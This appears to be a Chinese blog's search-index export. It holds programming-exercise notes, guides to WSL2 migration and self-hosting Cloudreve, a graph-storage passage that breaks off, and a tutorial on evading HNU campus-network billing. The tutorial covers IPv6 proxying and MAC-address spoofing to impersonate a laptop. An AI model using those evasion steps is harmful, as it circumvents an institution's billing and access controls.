每个输入包含1个测试用例。每个测试用例在一行中给出多个（不超过50个）数字（0~9之间），整数间用一个空格分隔，且至少拥有1个非0的数字。\n输出形式 在一行中输出能够组成的最小的数。\n样例输入 复制代码 2 2 0 0 0 3 0 0 1 02 2 0 0 0 3 0 0 1 0 样例输出 复制代码 10000002231000000223 解题思路 输入时统计每个数出现次数，先输出一个非零数，然后剩下的从小到大输出。\n15. 字频统计 个人难度评级：2\n** 问题描述 ** 在一个只有字母\u0026rsquo;a\u0026rsquo; 和\u0026rsquo;b\u0026rsquo; 组成的字符串中，统计子串 \u0026ldquo;ab\u0026rdquo; 和 \u0026ldquo;ba\u0026rdquo; 出现次数的差。\n** 输入格式 ** 有多组测试数据。\n每组测试数据第一行是一个正整数 $N$，表示字符串长度，接下来一行是长度为 $N$ 的字符串，字符串中只有字母\u0026rsquo;a\u0026rsquo; 和\u0026rsquo;b\u0026rsquo;。\n$N=0$ 表示输入结束，并且不需要处理。\n$40%$ 的数列元素个数 $N$ $1 \\le N \\le 100$；\n$30%$ 的数列元素个数 $N$ $1 \\le N \\le 1000$；\n$20%$ 的数列元素个数 $N$ $1 \\le N \\le 10000$；\n$10%$ 的数列元素个数 $N$ $1 \\le N \\le 100000$；\n** 输出格式 ** 对于每组测试数据，输出一个整数：\u0026ldquo;ab\u0026rdquo; 和 \u0026ldquo;ba\u0026rdquo; 出现次数的差。\n** 样例输入 ** 复制代码 7 aaaaaaa 4 abab 07 aaaaaaa 4 abab 0 ** 样例输出 ** 复制代码 0 10 1 解题思路 这个似乎用不了字符串的 find 成员函数，那就自己写呗。每个字符串遍历两遍，找就行了。\n16. 逆序数 个人难度评级：1\n** 问题描述 ** 在一个排列中，如果一对数的前后位置与大小顺序相反，即前面的数大于后面的数，那么它们就称为一个逆序。一个排列中逆序的总数就称为这个排列的逆序数。也就是说，对于 $n$ 个不同的元素，先规定各元素之间有一个标准次序（例如 $n$ 个 不同的自然数，可规定从小到大为标准次序），于是在这 $n$ 个元素的任一排列中，当某两个元素的先后次序与标准次序不同时，就说有 $1$ 个逆序。一个排列中所有逆序总数叫做这个排列的逆序数。\n比如：\n数列1 7 3 5 4 8 9\n其中 $(7,3)$，$(7,5)$，$(7,4)$，$(5,4)$ 构成逆序，所以其逆序数为 $4$。\n对给定的数列，求出其逆序数。\n** 输入格式 ** 有多组测试数据。\n每组测试数据第一行是一个正整数 $N$，表示数列中元素个数，接下来一行 $N$ 个用空格分隔开的正整数，表示数列的 $N$ 个元素，数列元素值小于 $32768$，并且一个数列中没有两个数值相同。\n$N=0$ 表示输入结束，并且不需要处理。\n$40%$ 的数列元素个数 $N$ $1 \\le N \\le 10$；\n$30%$ 的数列元素个数 $N$ $1 \\le N \\le 100$；\n$20%$ 的数列元素个数 $N$ $1 \\le N \\le 1000$；\n$10%$ 的数列元素个数 $N$ $1 \\le N \\le 5000$；\n** 输出格式 ** 对于每组测试数据，输出一个整数：数列的逆序数。\n** 样例输入 ** 复制代码 7 1 7 3 5 4 8 9 4 1 2 3 4 07 1 7 3 5 4 8 9 4 1 2 3 4 0 ** 样例输出 ** 复制代码 4 04 0 解题思路 两层循环枚举组合解决。\n17. 最小钱币数（贪心算法） 个人难度评级：1\n问题描述 阿迪有很多钱。他在银行里有n元。出于安全考虑，他想用现金取款（此处不透露原因）。钞票的面额是1，5，10，20，100元。取出全部余额后能收到的最小钞票数是多少？\n输入形式 输入一个正整数 $n$，$(1 \\le n \\le 10^9)$\n输出形式 阿迪能收到的最小钞票数\n样例输入1 复制代码 125125 样例输出1 复制代码 33 样例输入2 复制代码 4343 样例输出2 复制代码 55 样例输入3 复制代码 10000000001000000000 样例输出3 复制代码 1000000010000000 样例说明 本题可以直接使用贪心策略（优先尽可能多选择大面额的钞票）解决：主要原因是后一个的权值（这里就是纸币面值）是前一个的2倍或以上。\n可以思考一下如果货币的类型是1,9,10元三种，要求凑出18元，你可能就会发现贪心算法出错了！\n解题思路 上面说得这么明白了我还说啥啊，这题没了DP就没了灵魂了。\n18. 身份证校验 个人难度评级：1\n问题描述 我国国标〖GB 11643-1999〗中规定：公民身份号码是18位特征组合码，由十七位数字本体码和一位数字校验码组成。排列顺序从左至右依次为：六位数字地址码，八位数字出生日期码，三位数字顺序码和一位数字校验码。其校验码 (最后一位) 计算方法和步骤为：\n(1) 十七位数字本体码加权求和公式\n$S = sum(A_i * W_i), i = 0, \u0026hellip; , 16$ ，先对前17位数字的权求和\n其中 $A_i$：表示第i位置上的身份证号码数字值\n$W_i$：表示第i位置上的加权因子，前17位加权因子从左到右分别为\n$W_i$：7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2\n(2) 计算模\n$Y = mod(S, 11)$\n(3) 通过模Y查下表得到对应的校验码\n$Y$012345678910 校验码 10X98765432 例如：某身份证前17位为11010519491231002\n$i$1234567891011121314151617$W_i$791058421637910584211010519491231002 积 7905020292427718305004 得到和为：167；则模为 $y=167%11=2$\n查 (3) 得校验码为X（大写）\n请按上面所述步骤编程，输入一个二代身份证号，检查该身份证是否正确。\n输入形式 输入若干行，每行一个身份证号码，最后一行输入 - 1\n输出形式 输出1代表正确，0代表错误\n样例输入 复制代码 120223198902021249 130132199210293822 130402198207290622 -1120223198902021249 130132199210293822 130402198207290622 -1 样例输出 复制代码 1 1 01 1 0 解题思路 如果会用 std::map，可以将校验码和余数对应，很方便。写一堆if倒也不是不能做。\n18. 最长递增子序列 个人难度评级：2\n问题描述 给出一个由 $n$ 个正整数组成的数组。您的任务是找到给定数组的递增子数组的最大长度。\n递增子数组由数组中若干个连续元素组成，且子数组中的每个元素严格地大于前一个元素。\n输入形式 第一行为一个正整数 $n(1 \\le n \\le 10^5)$，表示数组元素的个数\n第二行给出 $n$ 个正整数 $a_1$ $a_2$\u0026hellip;\u0026hellip;$a_n$ $(1 \\le a_i \\le 10^9)$ ，整数之间使用空格分隔\n输出形式 输出最大递增子数组的长度\n样例输入 复制代码 5 1 7 2 11 155 1 7 2 11 15 样例输出 复制代码 33 样例说明 1 7可以构成一个递增子数组\n2 11 15可以构成一个递增子数组\n所以本样例的输出结果为3\n解题思路 贪心。遍历一遍，有递增的就计数，不递增了就重置。\n20.Caesar密码 个人难度评级：1\n问题描述 Julius Caesar生活在充满危险和阴谋的年代。为了生存，他首次发明了密码，用于军队的消息传递。假设你是Caesar军团中的一名军官，需要把Caesar发送的消息破译出来、并提供给你的将军。消息加密的办法是：对消息原文中的每个字母，分别用该字母之后的第5个字母替换（例如：消息原文中的每个字母A都分别替换成字母F），其他字符不 变，并且消息原文的所有字母都是大写的。 密码字母：A B C D E F G H I J K L M N O P Q R S T U V W X Y Z原文字母：V W X Y Z A B C D E F G H I J K L M N O P Q R S T U\n输入形式 最多不超过100个数据集组成。每个数据集由3部分组成：起始行：START密码消息：由1到200个字符组成一行，表示Caesar发出的一条消息结束行：END在最后一个数据集之后，是另一行：ENDOFINPUT\n输出形式 每个数据集对应一行，是Caesar的原始消息。\n样例输入 复制代码 START NS BFW, JAJSYX TK NRUTWYFSHJ FWJ YMJ WJXZQY TK YWNANFQ HFZXJX END START N BTZQI WFYMJW GJ KNWXY NS F QNYYQJ NGJWNFS ANQQFLJ YMFS XJHTSI NS WTRJ END START IFSLJW PSTBX KZQQ BJQQ YMFY HFJXFW NX RTWJ IFSLJWTZX YMFS MJ END ENDOFINPUTSTART NS BFW, JAJSYX TK NRUTWYFSHJ FWJ YMJ WJXZQY TK YWNANFQ HFZXJX END START N BTZQI WFYMJW GJ KNWXY NS F QNYYQJ NGJWNFS ANQQFLJ YMFS XJHTSI NS WTRJ END START IFSLJW PSTBX KZQQ BJQQ YMFY HFJXFW NX RTWJ IFSLJWTZX YMFS MJ END ENDOFINPUT 样例输出 复制代码 IN WAR, EVENTS OF IMPORTANCE ARE THE RESULT OF TRIVIAL CAUSES I WOULD RATHER BE FIRST IN A LITTLE IBERIAN VILLAGE THAN SECOND IN ROME DANGER KNOWS FULL WELL THAT CAESAR IS MORE DANGEROUS THAN HEIN WAR, EVENTS OF IMPORTANCE ARE THE RESULT OF TRIVIAL CAUSES I WOULD RATHER BE FIRST IN A LITTLE IBERIAN VILLAGE THAN SECOND IN ROME DANGER KNOWS FULL WELL THAT CAESAR IS MORE DANGEROUS THAN HE 解题思路 推荐使用getline函数输入数据，一次输入是一整行。\n没必要前面提到的 std::map，因为这个太有规律了，对于大写字母，ASCII直接减5，如果小于\u0026rsquo;A\u0026rsquo; 再加26即可。\n21. 回文串 ** 问题描述 ** “回文串”是一个正读和反读都一样的字符串，比如 “level” 或者 “noon” 等等就是回文串。给你一个字符串，问最少在字符串尾添加多少字符，可以使得字符串变为回文串。\n** 输入格式 ** 有多组测试数据。\n每组测试数据第一行是一个正整数 $N$，表示字符串长度，接下来一行是长度为N的字符串，字符串中只有小写字母。\n$N=0$ 表示输入结束，并且不需要处理。\n$40 % $ 的数列元素个数 $N$ $1 \\le N \\le 100$；\n$30 % $ 的数列元素个数 $N$ $1 \\le N \\le 1000$；\n$20 % $ 的数列元素个数 $N$ $1 \\le N \\le 10000$；\n$10 % $ 的数列元素个数 $N$ $1 \\le N \\le 100000$；\n** 输出格式 ** 对于每组测试数据，输出一个非负整数：添加最少的字符数，可以使得字符串变为回文串。\n** 样例输入 ** 复制代码 3 aba 4 aaac 03 aba 4 aaac 0 ** 样例输出 ** 复制代码 0 30 3 解题思路 参考了 HNU 软件能力实训 4-21. 回文串 _Karltan 的博客 - CSDN 博客。\n对于每个字符串，逐个截取前1、2、3…… 到N位并反转，连接到原串后面，然后检验是否为回文串即可。\n熟练运用STL会让这道题非常简单（主要是 reverse 和 substr）。\n","date":"September 6, 2021","matchCount":0,"permalink":"/post/hnu-csp-training-4/","preview":"","title":"湖南大学 2021 程序设计训练笔记 - 作业训练 4"},{"content":"在Windows中，WSL2（Windows Subsystem for Linux）子系统默认安装在C盘，本文介绍如何将其移动至其他盘符，也可以在不同电脑间迁移。\n以下内容总结自 how to move the vhdx of wsl2 to other disk · Issue #412 · MicrosoftDocs/WSL (github.com)。\n首先打开任何一个终端，CMD或者PowerShell都可以。建议在你希望迁移后WSL所处的目录下打开，如我希望将WSL迁移到D:\\UbuntuWSL，就在这个目录下打开，或者打开后使用 cd D:\\UbuntuWSL 命令。\n然后，输入 wsl --list 并运行，系统会为你输出当前的子系统列表，如：\ntext 复制代码 适用于 Linux 的 Windows 子系统分发版: Ubuntu2 (默认) docker-desktop docker-desktop-data Ubuntu 1 2 3 4 5 适用于 Linux 的 Windows 子系统分发版: Ubuntu2 (默认) docker-desktop docker-desktop-data Ubuntu 请记住你想迁移的子系统名。下面的命令将会占用很多系统资源。\n然后，运行 wsl --export \u0026lt;子系统名\u0026gt; \u0026lt;导出文件名. tar\u0026gt;，其中 “子系统名” 就是你刚刚记住的子系统名，“导出文件名”是你希望导出文件的命名，可以使用完整路径代替（如D:\\UbuntuWSL\\ubuntu.tar）。这个命令可以将已安装的特定子系统打包成TAR压缩文件。\n找到此TAR文件，将其移动到你想迁移到的位置，并将终端的工作目录移动至那里。当然如果你一开始就设定好目录那现在就不用了，而且其实不迁移也没什么问题\n运行 wsl --import \u0026lt;迁移后子系统名称\u0026gt; \u0026lt;迁移后 WSL 工作目录\u0026gt; \u0026lt;tar 文件路径\u0026gt;，这个命令可以从tar文件导入子系统。迁移后的子系统名称不能与原来已有的重复；工作目录可以任选，不一定要和tar文件在一起。\n再次运行 wsl --list，如果你迁移后的子系统本应成为默认而实际上并没有，使用 wsl --set-default \u0026lt;子系统名\u0026gt; 命令来设为默认。\n现在，你可以使用 wsl --unregister 子系统名 来完全删除原子系统，不过我建议先使用迁移后的系统一段时间，来确保没有问题。\n已知问题：\n迁移后默认账户变为root。 测试正常工作：\n仍可将WSLg GUI应用程序集成到开始菜单。 Windows资源管理器仍可浏览Linux文件系统的文件。 ","date":"September 4, 2021","matchCount":0,"permalink":"/post/wsl2-migration/","preview":"","title":"如何将 WSL2 迁移至其他盘"},{"content":"无论是搭建在互联网的服务器上、本地，还是局域网的其他设备上，Cloudreve 都能提供出色的云服务。对于个人，它存点资料完全够用；而对于组织，它也有账号管理系统，可以满足多人使用的需求。我是将它作为个人云使用的，除上面所说之外，它还有许多感知强烈的优点：\n上传下载不限速，具体视服务器和客户机而定 文件实时在线预览 / 编辑 / 压缩 连接到其他存储服务，如Microsoft OneDrive、亚马逊S3等，当然也可以存在服务器端 Material Design网页界面，多平台、深色模式及PWA支持 支持文件分享，可选直链分享 WebDAV 配合aria2实现离线下载 相比官方原版OneDrive，它的网页端可以自由访问；而相比百度云，它就只有容量不占优了。\n以下皆以amd64架构的Ubuntu 20.04为例。\n部署 在服务器中合适的位置用 chmod 新建一个目录，然后下载 Releases 页面对应架构的软件包，解压即可。\n对于负载不大的情况，可以直接使用Cloudreve自带的反代服务器，无需重新设置。\n直接执行 ./cloudreve 即可使其前台运行，后台运行可以使用nohup。第一次运行建议截个图，内含管理员账号密码，用它登录进去之后可以在管理后台进行改名改密码等操作。\nSSL 如果你想使用Cloudreve的OneDrive同步，你还需要HTTPS访问，而这需要一个SSL证书和一个域名。域名可以自己买，而这里主要解决SSL的问题。这里推荐使用Certbot来完成这个过程，它使用了Let\u0026rsquo;s Encrypt的服务。可以参考 这篇文档 的方法。简单来说，就是：\n使用 sudo snap install certbot 安装certbot 运行 sudo certbot certonly --standalone（如果80端口没被占用） 依次输入你的邮箱和域名 记下证书路径和私钥路径 编辑Cloudreve文件夹下的conf.ini，加入以下内容： ini 复制代码 [SSL] Listen = :xxx ; 将 xxx 替换为 HTTPS 访问该网站用的端口号，如 https://abc.com:xxx，推荐使用 443 CertPath = /etc/letsencrypt/live/abc.com/fullchain.pem ;abc.com 替换为你的域名 KeyPath = /etc/letsencrypt/live/abc.com/privkey.pem ; 同上 1 2 3 4 [SSL] Listen = :xxx ; 将 xxx 替换为 HTTPS 访问该网站用的端口号，如 https://abc.com:xxx，推荐使用 443 CertPath = /etc/letsencrypt/live/abc.com/fullchain.pem ;abc.com 替换为你的域名 KeyPath = /etc/letsencrypt/live/abc.com/privkey.pem ; 同上 如果你已经在运行Cloudreve，先执行 killall cloudreve 再重新启动。\n上传速度演示，受网速限制 到现在就可以使用服务器本地的硬盘空间作为一个网盘了。操作非常简单，我想我没必要再说了。但对于OneDrive，我觉得还得再提一句。\n连接OneDrive 许多云主机的空间很小，装不下几个大文件，这时可以连接到OneDrive，支持个人用户或者企业 / 学校用户，以及各种Microsoft 365套餐。\n在下载大文件的时候，主机直接连接微软服务器。\n就是这么快…… 在管理后台的”存储策略 “点击添加，然后按步骤操作。如果你用的不是公司 / 学校Microsoft账户，注册应用程序时需要选择” 任何组织目录…… 及个人Microsoft账户 “，后面才可以验证，否则会出现” 无法使用个人帐户在此登录，请改用工作或学校帐户“的错误。\n添加完成之后，还需要在” 用户组 “设置里选择特定用户组使用的使用的存储策略，才能使用其他平台的存储空间。\nOneDrive代理加速 可以参考 这篇文章，Cloudreve的OneDrive反代原理是一样的。不过，如果你使用的是OneDrive个人版，获取到的下载链接类似于 https://public.bn.files.1drv.com，也是可以的，不必强求 SharePoint链接。\n反代 我使用的是Nginx反代，所以当然以它为例。核心部分就是照着官方文档的配置，在Nginx的某个server中加入以下的location。\njson 复制代码 location / { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://127.0.0.1:5212; # 如果您要使用本地存储策略，请将下一行注释符删除，并更改大小为理论最大文件尺寸 # client_max_body_size 20000m; } 1 2 3 4 5 6 7 8 location / { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://127.0.0.1:5212; # 如果您要使用本地存储策略，请将下一行注释符删除，并更改大小为理论最大文件尺寸 # client_max_body_size 20000m; } 需要注意的是，Cloudreve目前（指3.3.2和3.4.0-beta1）并不能够使用二级目录反代，如设置 location ^~ /cloud，因为Cloudreve会在调用静态资源的时候访问不带二级目录的内容，即使 “站点URL” 中已添加二级目录也是这样。所以，我更推荐使用在Nginx里新建一个server，将另一个二级域名的根目录直接指向Cloudreve。只需设定不同的 server_name，Nginx就可以根据不同的二级域名来访问不同的服务，即使设定的listen端口相同。\n参考文献\nCloudreve 官方文档 无法使用个人帐户在此登录，请改用工作或学校帐户 - Cloudreve Forum 又水一篇，开心\n","date":"August 8, 2021","matchCount":0,"permalink":"/post/cloudreve-personal-cloud-drive/","preview":"","title":"Cloudreve：属于你的网盘"},{"content":" 阅读前警告\n此教程仅供学习参考和经验交流，如您决定实践，作者对造成的后果不负任何责任，也不保证效果。\n本教程只适用于2021年9月的湖南大学校园网，未来有更新可能，其他高校情况也不尽相同。\n在新的校园网计费标准下，以这个步骤执行，并不一定能省钱，而且体验也不一定好。\n炒个冷饭，由于好久之前写的 免流实录（还算不得教程） 实在是太散乱，这次决定整理一下思路（持续整理中）。\n校园网环境与免流概述 湖南大学校园网，可以看作有IPv4和IPv6两条连接外界的通道。IPv4会经过校园网的计费和限速系统，然后接入联通或电信的骨干网；IPv6则没有计费、（可能）没有限速，接入CERNET2，也就是纯IPv6的下一代教育网。\n宿舍的校园网接入只有无线路由器，而路由器检测到电脑MAC地址前缀就会分配IPv6地址，而手机等设备则不会。目前还不能确定哪些是它认为的电脑MAC地址。\n平常的网络流量，v4和v6兼有，v4居多；这里的校园网免流目标，是将所有流量通过IPv6通道发送给代理服务器，并由代理服务器帮助我们访问网络资源，再将信息通过IPv6通过校园网传回我们的设备，以绕过校园网计费系统。代理服务器一般来说也是同时支持v4和v6的。由于需要一台代理服务器，延迟会有显著的增加，所以效果不一定比之前好。\n免流并不能免掉所有的流量，比如BT下载和SFTP协议等可能仍然走校园网IPv4，猜测和端口号有关，经过特殊设置应该也能免掉。不做额外设置，一天内消耗校园网流量可以控制在10M以内。\n本文的内容，就是围绕着如何把网络流量转移到IPv6上展开的。\n前期准备 要做校园网免流，你一定需要：\n大量、大量、大量的时间和耐心，你永远不知道有什么问题等着你\n校园网外一台具有IPv6连接且常开的主机，包括但不限于国内外提供商的云主机（推荐），或者你家里带IPv6的路由器 / 电脑等。会收取一定的费用，按配置而定。\n如果想要更好的体验，建议额外准备：\n基本的网络和Linux知识，方便自行摸索和看懂网上的教程。如果时间实在太多，可以忽略此条\n一台能够刷入第三方固件的路由器，如小米 / 红米、斐讯、华硕等品牌的大部分型号；或软路由\n通读此教程，了解大致框架\n选择代理协议 所谓代理，简单来说就是把你电脑上网的流量统统转发到另一台计算机上，由它代访问。而协议就是代理服务器和你的计算机通信的方式。\n代理方式根据代理服务器和路由器 / 软路由的硬件条件，以及你的需求而定，多种代理方式可以结合使用。\n下面介绍几种常用的代理协议。\nVPN 虚拟专用网络，没有什么引申义。\n很容易被封锁，所以国外服务器请勿使用，国内服务器也有一定风险。\n但是能够代理所有流量，最干净利落，而且对服务器负担较小。\nShadowsocks/R Shadowsocks对服务器和路由器的负担也较小。如果你使用的路由器拥有不高于MT7621A的CPU或不高于128M的RAM，建议使用Shadowsocks。\nVless+gRPC 所有Vless不带加密，更建议购买域名设置证书之后设置TLS加密使用。\n原则上不建议任何性能不高于 上面提到配置 的路由器使用，虽然评论区也有大佬成功。\n该协议延迟较低，而最大带宽不及下面的Vless+TCP(XTLS)。\nVless+TCP(XTLS) 相比于上面的gRPC方案，能跑出更高的速度，但延迟稍高。\n根据XTLS协议作者RPRX的说法，如果你使用国外VPS访问国内网站，很容易被侦测。所以 尽量仅在国内服务器上使用XTLS。\nVmess+WebSocket 这个自己研究吧，因为能套Cloudflare CDN所以受到一些人的欢迎。\nWireguard 建议搭配Tailscale使用，详见下文。\n配置代理服务器 配置代理服务器主要就是配置服务端软件。代理服务器分两种，一种是云主机VPS，一种是你自己的硬件。二选一即可。\n云主机 国内的云主机延迟较低，但通常限制流量和网速，比较贵；而境外（包括香港等直连境外互联网的地区）的云主机一般流量限制很宽松，带宽很充裕，还带有你懂的功能，但延迟可能很高。系统建议选择各类Linux，配置不用太高，单核1G内存够用。一定要选择带IPv6的方案，尽量也带上IPv4（以访问部分落后的网站…… 包括本站）。\n下面将以几个主机商为例，介绍一些与代理服务器有关的概况。\n关于地域选择的重要提示\n不建议 任何人 在 任何情况下 使用 境外（国外、港澳台）机器代理访问境内网络，此处即使用境外主机达成免流的行为。据Xray开发者RPRX称，作为代理用途访问境内网站的境外服务器 很容易遭到识别与封禁（即被墙）。\n如果有访问被封锁网站的特殊需求，建议使用境内服务器作为第一道中转，并配置分流规则，将境外流量转发至境外主机代理。\nVultr Vultr是国外的服务商，有美国、英国、韩国、日本、新加坡、墨西哥等地的服务器，而且配置较简单，不需要太关注虚拟硬盘、IP地址的分配。支持支付宝。\n实测亚特兰大、洛杉矶、硅谷、西雅图、伦敦的线路并不是CN2线路（一种延迟较低的线路），英国线路延迟200ms左右，美国线路大多200-300ms左右。\n每月5美元的服务器包含单核CPU、1G RAM、25G SSD、每月1T流量，带宽大约600-1000Mbps。可以在创建时选择附带IPv6。\n华为云 华为云可以选择按流量计费或按带宽计费。如果按流量计费，带宽上限300Mbps（可自行设置），0.8元 / G；如果按带宽计费，10Mbps就要500元一个月。比校园网还贵，所以说免流只是玩玩而已。\n华为云的弹性公网IP可以开启IPv6转换，它的作用是以类似NAT的方式，将流入的所有v6流量在服务端转发到v4上，所以也可以达到免流目的，而且不需要特殊操作。\nSSH连接主机，可以直接在命令行输入ssh用户名 @服务器地址，然后输入服务器的root密码，即可操控服务器；传输文件建议使用WinSCP。更详细的操作建议自行网上搜索教程。\n对于Shadowsocks协议，建议使用 shadowsocks-rust，也可使用V2ray-core或者Xray-core。\n对于Vless/Vmess，建议使用 Xray-core 做服务端软件（使用文档）。\n对于Tailscale+Wireguard，可以看 “自有硬件” 部分。\n如果你嫌手撸配置文件太麻烦，而不需要在服务器搭建其他东西，可以在网络上搜索一键脚本安装；对Vless/Vmess，还可以使用 x-ui 来简化操作，提供了较高的自由度和简化的GUI界面。\n端口号建议随意填写， 但如果你后面选择手动导入配置而不是导入protocol:// 链接，一定要确保参数的前后一致。\n然后使用各服务端的链接导出功能导出服务器链接配置，先将其导入手机或电脑上的客户端测试连接。\n客户端方面，如果你使用Vless/Vmess，Android端推荐 v2rayNG 或AnXray，iOS/iPadOS端推荐Shadowrocket（国区没有）和QuantumIt X（国区也没有，又叫圈X，复杂），Windows可以使用v2rayN；对Shadowsocks/R，Windows端可以用ShadowsocksR（兼容SS/SSR）、v2rayN和Shadowsocks（只有SS），Android和iOS同上。注意按照服务端对应安装客户端。\n导入链接后，设定全局代理，启动服务器连接，使用 IPv6 测试 (test-ipv6.com) 检查IP地址是否改变，如果你的代理服务器在境外还可以打开Google检查。如果正常，确保客户端机器有IPv6环境的情况下（可以使用上面的网站确定，移动数据网络一般都有），将客户端中服务器配置的地址栏换成IPv6地址，再次连接测试。\n自有硬件 使用自己的硬件有两种方法。一条路是使用Tailscale实现点对点连接。个人没有实测过，但这是配置最简单的一种方法。\n方法很简单，打开 https://tailscale.com/，它就会给你安装指引。\n而另一条路，就是使用自己的硬件搭建代理服务器。这条路虽然也不用租云主机，但难度很大，还不一定能省钱，首先当然要确定你自己家里之类地方的网络环境有IPv6。\n个人推荐使用能够刷入第三方固件的路由器，它们常带有SSR或v2ray服务端，开启后能够直接连接，不需要做端口转发。如下图为路由器Padavan系统的SSR服务端界面。如果没有的话，也可以使用Linux系统的X86 PC机，性能更强。如果用旧手机、树莓派等ARM设备，配置将会非常麻烦，不建议使用。\n电脑作为服务端的配置方法其实和上面的大同小异，而路由器端可能更加简单，使用自带的服务端程序解决。\nIPv6一般会是公网地址（即只属于你），但考虑到可能会动态分配，最好买一个域名，搞一个DDNS，动态解析域名到你的服务端。\n配置完成后，参照云主机部分的测试方式进行连接测试。\n机场 机场的线路一般用于你懂的用途，但如果有IPv6的话，也可以选择。不过请注意监管风险。\n机场可能会给Clash订阅链接，关于Clash的使用请自行搜索，与上面提到的有些许不同。\n如果上面的步骤都成功的话，你实际上就可以进行一定程度上的免流了。电脑连接上校园网，打开上面所说的客户端，选择全局代理（或者配合Proxifier实现更完全的代理），即可绕过计费。可以下载一个大文件试试是否没有记流量。Android设备需要一定的操作来伪装成电脑的MAC地址以获得IPv6地址，而iPhone或者iPad用户由于Apple的限制，并不能搞定，还需要看下一部分。\n配置路由器 这部分的目的，是在宿舍内构建一个完全走代理的网络，还可以让不能走验证的设备（如智能家居）连上网，以及建设一个可以相互通信的局域网环境。\n我使用的路由器是小米AC2100，刷入Padavan固件，以下都以此为例。如果不确定哪些路由器适合你，可以直接选择 恩山无线论坛 上热门的路由器，它们的第三方固件较多，选择余地较大。\n后面对路由器做的所有更改，都要点击离选项下方最近的那个“应用本页面设置”才能生效。\n刷入第三方固件 官方固件当然不会拥有SSR这类功能，也没有我们迫切需要的无线桥接功能。\n如果你也选择了这款路由器，或是换壳型号红米AC2100，可以参考一下 红米 (小米) AC2100 无需 Telnet 刷入 Breed 和 Padavan 固件教程。Breed方便刷固件翻车时恢复，也为我们提供了改MAC的功能；而Padavan则有大量我们需要或不需要的扩展功能，甚至还可以增强信号的稳定性。\n连接无线桥接 宿舍里没有连至校园网的网口，所以我们需要使用无线桥接功能，将路由器作为一个设备连接至校园网AP。在路由器管理后台连接页面打开 “无线桥接”，按照如下的方式配置，点击应用本页面设置，然后回到网络地图 - 外部网络状态，就可以检查路由器是否连接到了校园网，这一步一般没问题。用手机连上路由器网络，过一下校园网验证确认能够使用。这时可以访问上面提到的IPv6测试网站，如果你碰巧有了IPv6，恭喜你，下一步可以跳过了。\n需要注意，2.4GHz现在先不开，也不要配置宽带连接之类的其他东西。\n获取IPv6地址 这一步非常繁琐，但却是至关重要的一步。\n打开”高级设置 - 外部网络 - IPv6设置 “，如图调整各选项。其中DNSv6没必要非得按这个来，可以自行寻找DNSv6服务器。” 获取IPv6外网地址 “一定要选” 从两端“。\n然后到高级设置 - 系统管理 - 服务，打开 “启用NAPT66” 然后重启路由器。\n断开路由器电源，用网线连接LAN口和电脑，按住重置键，接通电源，直到路由器指示灯闪烁，松开重置键。在电脑地址栏输入192.168.1.1进入Breed恢复控制台，点进MAC地址修改，将所有MAC地址均换为某一电脑厂商对应前缀的MAC地址（一般属于CLEVO的前缀，即0090F5比较保险，CLEVO是神舟电脑的代工厂；你可以使用我写的 MAC 地址生成器，须自备Python环境）。保存，重启路由器。\n将你的设备连上路由器，测试一下IPv6连接状况（尤其是非电脑设备），现在你的路由器应该已经伪装成了一台电脑，可以获取校园网IPv6了。\n连接代理服务器 这一部分要和你之前 “配置代理服务器” 部分的内容相匹配。\nPadavan固件 SSR：使用扩展功能 - Shadowsocks，工作模式选择全局代理，其余根据你的服务器配置填写。\n其他：使用扩展功能 - 搭建网络环境 - V2ray。透明代理可以不开这里的，使用广告屏蔽功能 - transocks的透明代理程序，工作模式也要选全局。\nOpenWrt 可以使用PassWall程序，需要手动开启IPv6路由（小心开了上不了网）。\n到这里，校园网免流基本就能达成了。Enjoy it!\n参考文献：\n校园网路由器后设备使用 ipv6 经验分享 – 知乎\nh 大老毛子 ipv6 的 wan 口地址获取不到 – 恩山无线论坛\n另外也可以尝试 “53端口免流”，通过DNS的端口代理，一般来说DNS查询不会被封禁。\n","date":"July 28, 2021","matchCount":0,"permalink":"/post/hnu-ipv6-bypass-billing-2/","preview":"","title":"HNU 校园网 IPv6 免流教程 2.0"},{"content":"链式前向星是一种在算法竞赛中常用的图存储方式，在空间占用和时间消耗上都比较中庸，使用比较广泛。本文以下面的无权图为例。\n图例 它的邻接矩阵表示如下：\nINFINF1INF11INFINFINFINF11INFINFINF11INFINFINFINFINFINFINFINFINFINFINFINF1INFINFINFINFINFINF 用边表示如下，这也是更常见的输入方式：\nIndex01234567From02014201To24545345 前置知识：前向星 前向星和链式前向星很相似（毕竟链式前向星就是基于它改进而来的）。\n前向星需要一次排序，使所有边按照起点编号升序排序，同起点的边放在一起，顺序不限。\n输入完毕的前向星使用三个数组，即 to、head 和 len 来存储图的基本信息。\nto 数组 to 数组长度为边的数目，下标对应的是边的编号（不管题里给没给，这里重新设定），分别存储每条边的终点。对于边的输入，相当于以起点排序之后，终点这个数组。对于上图，to数组内容如下：\nIndex01234567Value24545345 前向星to数组\n上表中，有相同颜色的值，代表这一部分的起点相同。\n去掉from数组之后，孤零零的to数组当然难以理解有什么用处。但我们还需要from数组来生成 head 和 len。\nhead、len 数组 head和len数组长度为结点的数目，这两个数组的下标对应的是结点的编号。\nto 数组因已经过按起点的排序，实际上按起点被划分为了一个个区间。如上图，起点为0的to** 下标 **（而不是to值）为0、1和2，起点为1的to下标有3、4，起点为2的to下标为5、6，起点为3没有对应to下标，起点为4对应的to下标有7。\n因此，我们就需要 head 和 len 两个数组，分别存储某个结点对应的下标区间范围，head[i] 存储的是结点i对应下标区间的起始位置，而 len[i] 存储结点i对应下标区间长度。上图所对应的head和len数组如下图所示：\nIndex01234head035-17len32201 比如，head[0]==0\u0026amp;\u0026amp;len[0]==3 代表了起点为0的边范围是从第0个开始，有3个，查找对应的to数组得到各自终点，也就是有 (0,2)(0,4)(0,5) 三条边。而 head[3]==-1 是为了表示以3为起点没有对应的边，其实它的值是多少并不重要，重要的是长度为0。\n这样我们就描述了按照起点划分的区间，进而描述了所有的边，“前向星” 就是这么一个东西。\n链式前向星 因为普通的前向星需要排序，没有那么方便，所以就要找一种并不需要同一起点的边连续的结构，方便存储。链式前向星就是这么一种存储方式，它所谓的 “链式” 并不是使用链表来存储，而是每条边在数组中存储的的位置不固定，要靠一个数组来指导跳转，可以理解为数组模拟链表。\n链式前向星更难理解，但理解之后写起来会容易不少。\n它由 head、next 和 to 数组组成。\nto 数组 这里的 to 